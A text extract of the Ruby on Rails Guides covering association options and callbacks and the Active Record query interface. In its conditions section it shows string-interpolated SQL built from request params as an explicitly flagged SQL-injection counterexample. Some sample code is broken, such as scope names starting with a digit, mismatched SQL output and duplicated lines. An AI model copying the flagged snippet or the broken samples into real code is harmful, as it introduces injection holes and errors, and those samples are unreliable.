Normally Rails automatically generates the proper SQL to count the association members. With the `:counter_sql` option, you can specify a complete SQL statement to count them yourself.

If you specify `:finder_sql` but not `:counter_sql`, then the counter SQL will be generated by substituting `SELECT COUNT(*) FROM` for the `SELECT ... FROM` clause of your `:finder_sql` statement.

4.4.2.6 `:delete_sql`

Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the `:delete_sql` option, you can specify a complete SQL statement to delete them yourself.

4.4.2.7 `:extend`

The `:extend` option specifies a named module to extend the association proxy. Association extensions are discussed in detail **later in this guide**.

4.4.2.8 `:finder_sql`

Normally Rails automatically generates the proper SQL to fetch the association members. With the `:finder_sql` option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

4.4.2.9 `:foreign_key`

By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:

```
class User < ActiveRecord::Base
  has_and_belongs_to_many :friends, :class_name => "User",
    :foreign_key => "this_user_id",
    :association_foreign_key => "other_user_id"
end
```

4.4.2.10 `:group`

The `:group` option supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.

```
class Parts < ActiveRecord::Base
  has_and_belongs_to_many :assemblies, :group => "factory"
end
```

4.4.2.11 `:include`

You can use the `:include` option to specify second-order associations that should be eager-loaded when this association is used.

4.4.2.12 `:insert_sql`

Normally Rails automatically generates the proper SQL to create links between the associated classes. With the `:insert_sql` option, you can specify a complete SQL statement to insert them yourself.

4.4.2.13 :join_table

If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default.

4.4.2.14 :limit

The `:limit` option lets you restrict the total number of objects that will be fetched through an association.

```
class Parts < ActiveRecord::Base
  has_and_belongs_to_many :assemblies, :order => "created_at DESC",
    :limit => 50
end
```

4.4.2.15 :offset

The `:offset` option lets you specify the starting offset for fetching objects via an association. For example, if you set `:offset => 11`, it will skip the first 11 records.

4.4.2.16 :order

The `:order` option dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).

```
class Parts < ActiveRecord::Base
  has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
end
```

4.4.2.17 :readonly

If you set the `:readonly` option to `true`, then the associated objects will be read-only when retrieved via the association.

4.4.2.18 :select

The `:select` option lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

4.4.2.19 :uniq

Specify the `:uniq => true` option to remove duplicates from the collection.

4.4.2.20 :validate

If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.

4.4.3 When are Objects Saved?

When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.

If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.

If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the *`collection`*`.build` method.

4.5 Association Callbacks

Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved.

Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:

- `before_add`

- after_add
- before_remove
- after_remove

You define association callbacks by adding options to the association declaration. For example:

```
class Customer < ActiveRecord::Base
  has_many :orders, :before_add => :check_credit_limit

  def check_credit_limit(order)
    ...
  end
end
```

Rails passes the object being added or removed to the callback.

You can stack callbacks on a single event by passing them as an array:

```
class Customer < ActiveRecord::Base
  has_many :orders,
    :before_add => [:check_credit_limit, :calculate_shipping_charges]

  def check_credit_limit(order)
    ...
  end

  def calculate_shipping_charges(order)
    ...
  end
end
```

If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection.

4.6 Association Extensions

You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:

```
class Customer < ActiveRecord::Base
  has_many :orders do
    def find_by_order_prefix(order_number)
      find_by_region_id(order_number[0..2])
    end
  end
end
```

If you have an extension that should be shared by many associations, you can use a named extension module. For example:

```
module FindRecentExtension
  def find_recent
    where("created_at > ?", 5.days.ago)
  end
end

class Customer < ActiveRecord::Base
  has_many :orders, :extend => FindRecentExtension
end

class Supplier < ActiveRecord::Base
  has_many :deliveries, :extend => FindRecentExtension
end
```

To include more than one extension module in a single association, specify an array of modules:

```
class Customer < ActiveRecord::Base
  has_many :orders,
    :extend => [FindRecentExtension, FindActiveExtension]
end
```

Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association`

Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor:

- `proxy_association.owner` returns the object that the association is a part of.
- `proxy_association.reflection` returns the reflection object that describes the association.
- `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Active Record Query Interface

This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:

- Find records using a variety of methods and conditions
- Specify the order, retrieved attributes, grouping, and other properties of the found records
- Use eager loading to reduce the number of database queries needed for data retrieval
- Use dynamic finders methods
- Check for the existence of particular records
- Perform various calculations on Active Record models
- Run EXPLAIN on relations

Chapters

1. Retrieving Objects from the Database
   - Retrieving a Single Object
   - Retrieving Multiple Objects
   - Retrieving Multiple Objects in Batches
2. Conditions
   - Pure String Conditions
   - Array Conditions
   - Hash Conditions
3. Ordering
4. Selecting Specific Fields
5. Limit and Offset
6. Group
7. Having
8. Overriding Conditions
   - `except`
   - `only`
   - `reorder`
   - `reverse_order`
9. Readonly Objects
10. Locking Records for Update
    - Optimistic Locking
    - Pessimistic Locking
11. Joining Tables
    - Using a String SQL Fragment
    - Using Array/Hash of Named Associations
    - Specifying Conditions on the Joined Tables
12. Eager Loading Associations
    - Eager Loading Multiple Associations
    - Specifying Conditions on Eager Loaded Associations
13. Scopes
    - Working with times
    - Passing in arguments
    - Working with scopes
    - Applying a default scope
    - Removing all scoping
14. Dynamic Finders
15. Find or build a new object
    - `first_or_create`
    - `first_or_create!`
    - `first_or_initialize`
16. Finding by SQL
17. `select_all`
18. `pluck`
19. Existence of Objects
20. Calculations
    - Count
    - Average
    - Minimum
    - Maximum
    - Sum
21. Running EXPLAIN
    - Automatic EXPLAIN
    - Interpreting EXPLAIN

This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails.

If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.

Code examples throughout this guide will refer to one or more of the following models:

All of the following models use `id` as the primary key, unless specified otherwise.

```
class Client < ActiveRecord::Base
  has_one :address
  has_many :orders
  has_and_belongs_to_many :roles
end

class Address < ActiveRecord::Base
  belongs_to :client
end

class Order < ActiveRecord::Base
  belongs_to :client, :counter_cache => true
end
```

```
class Role < ActiveRecord::Base
  has_and_belongs_to_many :clients
end
```

Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.

1 Retrieving Objects from the Database

To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.

The methods are:

- `where`
- `select`
- `group`
- `order`
- `reorder`
- `reverse_order`
- `limit`
- `offset`
- `joins`
- `includes`
- `lock`
- `readonly`
- `from`
- `having`

All of the above methods return an instance of `ActiveRecord::Relation`.

The primary operation of `Model.find(options)` can be summarized as:

- Convert the supplied options to an equivalent SQL query.
- Fire the SQL query and retrieve the corresponding results from the database.
- Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
- Run `after_find` callbacks, if any.

1.1 Retrieving a Single Object

Active Record provides five different ways of retrieving a single object.

1.1.1 Using a Primary Key

Using `Model.find(primary_key)`, you can retrieve the object corresponding to the specified *primary key* that matches any supplied options. For example:

```
# Find the client with primary key (id) 10.
client = Client.find(10)
# => #<Client id: 10, first_name: "Ryan">
```

The SQL equivalent of the above is:

```
SELECT * FROM clients WHERE (clients.id = 10)
```

`Model.find(primary_key)` will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.

1.1.2 `first`

`Model.first` finds the first record matched by the supplied options, if any. For example:

```
client = Client.first
# => #<Client id: 1, first_name: "Lifo">
```

The SQL equivalent of the above is:

```
SELECT * FROM clients LIMIT 1
```

`Model.first` returns `nil` if no matching record is found. No exception will be raised.

1.1.3 `last`

`Model.last` finds the last record matched by the supplied options. For example:

```
client = Client.last
# => #<Client id: 221, first_name: "Russel">
```

The SQL equivalent of the above is:

```
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
```

`Model.last` returns `nil` if no matching record is found. No exception will be raised.

1.1.4 `first!`

`Model.first!` finds the first record. For example:

```
client = Client.first!
# => #<Client id: 1, first_name: "Lifo">
```

The SQL equivalent of the above is:

```
SELECT * FROM clients LIMIT 1
```

`Model.first!` raises `RecordNotFound` if no matching record is found.

1.1.5 `last!`

`Model.last!` finds the last record. For example:

```
client = Client.last!
# => #<Client id: 221, first_name: "Russel">
```

The SQL equivalent of the above is:

```
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
```

`Model.last!` raises `RecordNotFound` if no matching record is found.

1.2 Retrieving Multiple Objects

1.2.1 Using Multiple Primary Keys

`Model.find(array_of_primary_key)` accepts an array of *primary keys*, returning an array containing all of the matching records for the supplied *primary keys*. For example:

```
# Find the clients with primary keys 1 and 10.
client = Client.find([1, 10]) # Or even Client.find(1, 10)
# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
```

The SQL equivalent of the above is:

```
SELECT * FROM clients WHERE (clients.id IN (1,10))
```

`Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.

1.3 Retrieving Multiple Objects in Batches

We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.

This may appear straightforward:

```
# This is very inefficient when the users table has thousands of rows.
User.all.each do |user|
  NewsLetter.weekly_deliver(user)
end
```

But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch *the entire table* in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.

Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields *each* record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields *the entire batch* to the block as an array of models.

The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.

1.3.1 `find_each`

The `find_each` method retrieves a batch of records and then yields *each* record to the block individually as a model. In the following example, `find_each` will retrieve 1000 records (the current default for both `find_each` and `find_in_batches`) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:

```
User.find_each do |user|
  NewsLetter.weekly_deliver(user)
end
```

1.3.1.1 Options for `find_each`

The `find_each` method accepts most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_each`.

Two additional options, `:batch_size` and `:start`, are available as well.

`:batch_size`

The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:

```
User.find_each(:batch_size => 5000) do |user|
  NewsLetter.weekly_deliver(user)
end
```

`:start`

By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.

For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:

```
User.find_each(:start => 2000, :batch_size => 5000) do |user|
  NewsLetter.weekly_deliver(user)
end
```

Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate `:start` option on each worker.

The `:include` option allows you to name associations that should be loaded alongside with the models.

1.3.2 `find_in_batches`

The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields *batches* to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:

```
# Give add invoices an array of 1000 invoices at a time
```

```
# Give add_invoices an array of 1000 invoices at a time
Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
  export.add_invoices(invoices)
end
```

The `:include` option allows you to name associations that should be loaded alongside with the models.

1.3.2.1 Options for `find_in_batches`

The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`, as well as most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_in_batches`.

2 Conditions

The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash.

2.1 Pure String Conditions

If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2.

Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array.

2.2 Array Conditions

Now what if that number could vary, say as an argument from somewhere? The find would then take the form:

```
Client.where("orders_count = ?", params[:orders])
```

Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (`?`) in the first element.

If you want to specify multiple conditions:

```
Client.where("orders_count = ? AND locked = ?", params[:orders], false)
```

In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter.

This code is highly preferable:

```
Client.where("orders_count = ?", params[:orders])
```

to this code:

```
Client.where("orders_count = #{params[:orders]}")
```

because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.

For more information on the dangers of SQL injection, see the **Ruby on Rails Security Guide**.

2.2.1 Placeholder Conditions

Similar to the (`?`) replacement style of params, you can also specify keys/values hash in your array conditions:

```
Client.where("created_at >= :start_date AND created_at <= :end_date",
  {:start_date => params[:start_date], :end_date => params[:end_date]})
```

This makes for clearer readability if you have a large number of variable conditions.

2.2.2 Range Conditions

If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the `IN` SQL statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:

```
Client.where(:created_at => (params[:start_date].to_date)..(params[:end_date].to_date))
```

This query will generate something similar to the following SQL:

```
SELECT "clients".* FROM "clients" WHERE ("clients"."created_at" BETWEEN '2010-09-29' AND '2010-11-30')
```

2.3 Hash Conditions

Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:

Only equality, range and subset checking are possible with Hash conditions.

2.3.1 Equality Conditions

```
Client.where(:locked => true)
```

The field name can also be a string:

```
Client.where('locked' => true)
```

2.3.2 Range Conditions

The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.

```
Client.where(:created_at => (Time.now.midnight - 1.day)..Time.now.midnight)
```

This will find all clients created yesterday by using a `BETWEEN` SQL statement:

```
SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
```

This demonstrates a shorter syntax for the examples in **Array Conditions**

2.3.3 Subset Conditions

If you want to find records using the `IN` expression you can pass an array to the conditions hash:

```
Client.where(:orders_count => [1,3,5])
```

This code will generate SQL like this:

```
SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
```

3 Ordering

To retrieve records from the database in a specific order, you can use the `order` method.

For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:

```
Client.order("created_at")
```

You could specify `ASC` or `DESC` as well:

```
Client.order("created_at DESC")
# OR
Client.order("created_at ASC")
```

Or ordering by multiple fields:

```
Client.order("orders_count ASC, created_at DESC")
```

4 Selecting Specific Fields

By default, `Model.find` selects all the fields from the result set using `select *`.

To select only a subset of fields from the result set, you can specify the subset via the `select` method.

If the `select` method is used, all the returning objects will be **read only**.

For example, to select only `viewable_by` and `locked` columns:

```
Client.select("viewable_by, locked")
```

The SQL query used by this find call will be somewhat like:

```
SELECT viewable_by, locked FROM clients
```

Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:

```
ActiveModel::MissingAttributeError: missing attribute: <attribute>
```

Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.

If you would like to only grab a single record per unique value in a certain field, you can use `uniq`:

```
Client.select(:name).uniq
```

This would generate SQL like:

```
SELECT DISTINCT name FROM clients
```

You can also remove the uniqueness constraint:

```
query = Client.select(:name).uniq
# => Returns unique names

query.uniq(false)
# => Returns all names, even if there are duplicates
```

5 Limit and Offset

To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation.

You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example

```
Client.limit(5)
```

will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:

```
SELECT * FROM clients LIMIT 5
```

Adding `offset` to that

```
Client.limit(5).offset(30)
```

will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:

```
SELECT * FROM clients LIMIT 5 OFFSET 30
```

6 Group

To apply a `GROUP BY` clause to the SQL fired by the finder, you can specify the `group` method on the find.

For example, if you want to find a collection of the dates orders were created on:

```
Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
```

And this will give you a single `Order` object for each date where there are orders in the database.

The SQL that would be executed would be something like this:

```
SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at)
```

7 Having

SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `:having` option to the find.

For example:

```
Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100)
```

The SQL that would be executed would be something like this:

```
SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at) HAVING sum(price) > 100
```

This will return single order objects for each day, but only those that are ordered more than $100 in a day.

8 Overriding Conditions

8.1 `except`

You can specify certain conditions to be excepted by using the `except` method. For example:

```
Post.where('id > 10').limit(20).order('id asc').except(:order)
```

The SQL that would be executed:

```
SELECT * FROM posts WHERE id > 10 LIMIT 20
```

8.2 `only`

You can also override conditions using the `only` method. For example:

```
Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
```

The SQL that would be executed:

```
SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
```

8.3 `reorder`

The `reorder` method overrides the default scope order. For example:

```
class Post < ActiveRecord::Base
  ..
  ..
  has_many :comments, :order => 'posted_at DESC'
end

Post.find(10).comments.reorder('name')
```

The SQL that would be executed:

```
SELECT * FROM posts WHERE id = 10 ORDER BY name
```

In case the `reorder` clause is not used, the SQL executed would be:

```
SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
```

8.4 `reverse_order`

The `reverse_order` method reverses the ordering clause if specified.

```
Client.where("orders_count > 10").order(:name).reverse_order
```

The SQL that would be executed:

```
SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
```

If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order.

```
Client.where("orders_count > 10").reverse_order
```

The SQL that would be executed:

```
SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
```

This method accepts **no** arguments.

9 Readonly Objects

Active Record provides `readonly` method on a relation to explicitly disallow modification or deletion of any of the returned object. Any attempt to alter or destroy a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception.

```
client = Client.readonly.first
client.visits += 1
client.save
```

As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of *visits*.

10 Locking Records for Update

Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.

Active Record provides two locking mechanisms:

- Optimistic Locking
- Pessimistic Locking

10.1 Optimistic Locking

Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with

the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored.

Optimistic locking column

In order to use optimistic locking, the table needs to have a column called `lock_version`. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example:

```
c1 = Client.find(1)
c2 = Client.find(1)

c1.first_name = "Michael"
c1.save

c2.name = "should fail"
c2.save # Raises an ActiveRecord::StaleObjectError
```

You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.

You must ensure that your database schema defaults the `lock_version` column to `0`.

This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`.

To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class method called `set_locking_column`:

```
class Client < ActiveRecord::Base
  set_locking_column :lock_client_column
end
```

10.2 Pessimistic Locking

Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions.

For example:

```
Item.transaction do
  i = Item.lock.first
  i.name = 'Jones'
  i.save
end
```

The above session produces the following SQL for a MySQL backend:

```
SQL (0.2ms)   BEGIN
Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
SQL (0.8ms)   COMMIT
```

You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:

```
Item.transaction do
  i = Item.lock("LOCK IN SHARE MODE").find(1)
  i.increment!(:views)
end
```

If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:

```
item = Item.first
item.with_lock do
  # This block is called within a transaction,
  # item is already locked.
  item.increment!(:views)
end
```

11 Joining Tables

Active Record provides a finder method called `joins` for specifying `JOIN` clauses on the resulting SQL. There are multiple ways to use the `joins` method.

11.1 Using a String SQL Fragment

You can just supply the raw SQL specifying the `JOIN` clause to `joins`:

```
Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
```

This will result in the following SQL:

```
SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
```

11.2 Using Array/Hash of Named Associations

This method only works with `INNER JOIN`.

Active Record lets you use the names of the **associations** defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.

For example, consider the following `Category`, `Post`, `Comments` and `Guest` models:

```
class Category < ActiveRecord::Base
  has_many :posts
end

class Post < ActiveRecord::Base
  belongs_to :category
```

```
  belongs_to :category
  has_many :comments
  has_many :tags
end

class Comment < ActiveRecord::Base
  belongs_to :post
  has_one :guest
end

class Guest < ActiveRecord::Base
  belongs_to :comment
end

class Tag < ActiveRecord::Base
  belongs_to :post
end
```

Now all of the following will produce the expected join queries using `INNER JOIN`:

11.2.1 Joining a Single Association

```
Category.joins(:posts)
```

This produces:

```
SELECT categories.* FROM categories
  INNER JOIN posts ON posts.category_id = categories.id
```

Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)").

11.2.2 Joining Multiple Associations

```
Post.joins(:category, :comments)
```

This produces:

```
SELECT posts.* FROM posts
  INNER JOIN categories ON posts.category_id = categories.id
  INNER JOIN comments ON comments.post_id = posts.id
```

Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.

11.2.3 Joining Nested Associations (Single Level)

```
Post.joins(:comments => :guest)
```

This produces:

```
SELECT posts.* FROM posts
  INNER JOIN comments ON comments.post_id = posts.id
  INNER JOIN guests ON guests.comment_id = comments.id
```

Or, in English: "return all posts that have a comment made by a guest."

11.2.4 Joining Nested Associations (Multiple Level)

```
Category.joins(:posts => [{:comments => :guest}, :tags])
```

This produces:

```
SELECT categories.* FROM categories
  INNER JOIN posts ON posts.category_id = categories.id
  INNER JOIN comments ON comments.post_id = posts.id
  INNER JOIN guests ON guests.comment_id = comments.id
  INNER JOIN tags ON tags.post_id = posts.id
```

11.3 Specifying Conditions on the Joined Tables

You can specify conditions on the joined tables using the regular **Array** and **String** conditions. **Hash conditions** provides a special syntax for specifying conditions for the joined tables:

```
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where('orders.created_at' => time_range)
```

An alternative and cleaner syntax is to nest the hash conditions:

```
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where(:orders => {:created_at => time_range})
```

This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.

12 Eager Loading Associations

Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible.

N + 1 queries problem

Consider the following code, which finds 10 clients and prints their postcodes:

```
clients = Client.limit(10)

clients.each do |client|
  puts client.address.postcode
end
```

This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total.

Solution to N + 1 queries problem

Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.

Revisiting the above case, we could rewrite `Client.all` to use eager load addresses:

```
clients = Client.includes(:address).limit(10)

clients.each do |client|
  puts client.address.postcode
end
```

The above code will execute just **2** queries, as opposed to **11** queries in the previous case:

```
SELECT * FROM clients LIMIT 10
SELECT addresses.* FROM addresses
  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
```

12.1 Eager Loading Multiple Associations

Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method.

12.1.1 Array of Multiple Associations

```
Post.includes(:category, :comments)
```

This loads all the posts and the associated category and comments for each post.

12.1.2 Nested Associations Hash

```
Category.includes(:posts => [{:comments => :guest}, :tags]).find(1)
```

This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.

12.2 Specifying Conditions on Eager Loaded Associations

Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use **joins** instead.

However if you must do this, you may use `where` as you would normally.

```
Post.includes(:comments).where("comments.visible", true)
```

This would generate a query which contains a `LEFT OUTER JOIN` whereas the `joins` method would generate one using the `INNER JOIN` function instead.

```
SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.vis
```

If there was no `where` condition, this would generate the normal set of two queries.

If, in the case of this `includes` query, there were no comments for any posts, all the posts would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned.

13 Scopes

Scoping allows you to specify commonly-used ARel queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope methods will return an `ActiveRecord::Relation` object which will allow for further methods (such as other scopes) to be called on it.

To define a simple scope, we use the `scope` method inside the class, passing the ARel query that we'd like run when this scope is called:

```
class Post < ActiveRecord::Base
  scope :published, where(:published => true)
end
```

Just like before, these methods are also chainable:

```
class Post < ActiveRecord::Base
  scope :published, where(:published => true).joins(:category)
end
```

Scopes are also chainable within scopes:

```
class Post < ActiveRecord::Base
  scope :published, where(:published => true)
  scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
end
```

To call this `published` scope we can call it on either the class:

```
Post.published # => [published posts]
```

Or on an association consisting of `Post` objects:

```
category = Category.first
category.posts.published # => [published posts belonging to this category]
```

13.1 Working with times

If you're working with dates or times within scopes, due to how they are evaluated, you will need to use a lambda so that the scope is evaluated every time.

```
class Post < ActiveRecord::Base
  scope :last_week, lambda { where("created_at < ?", Time.zone.now ) }
end
```

Without the `lambda`, this `Time.zone.now` will only be called once.

13.2 Passing in arguments

When a `lambda` is used for a `scope`, it can take arguments:

```
class Post < ActiveRecord::Base
  scope :1_week_before, lambda { |time| where("created_at < ?", time) }
end
```

This may then be called using this:

```
Post.1_week_before(Time.zone.now)
```

However, this is just duplicating the functionality that would be provided to you by a class method.

```
class Post < ActiveRecord::Base
  def self.1_week_before(time)
    where("created_at < ?", time)
  end
end
```

Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:

```
category.posts.1_week_before(time)
```

13.3 Working with scopes

Where a relational object is required, the `scoped` method may come in handy. This will return an `ActiveRecord::Relation` object which can have further scoping applied to it afterwards. A place where this may come in handy is on associations

```
client = Client.find_by_first_name("Ryan")
orders = client.orders.scoped
```

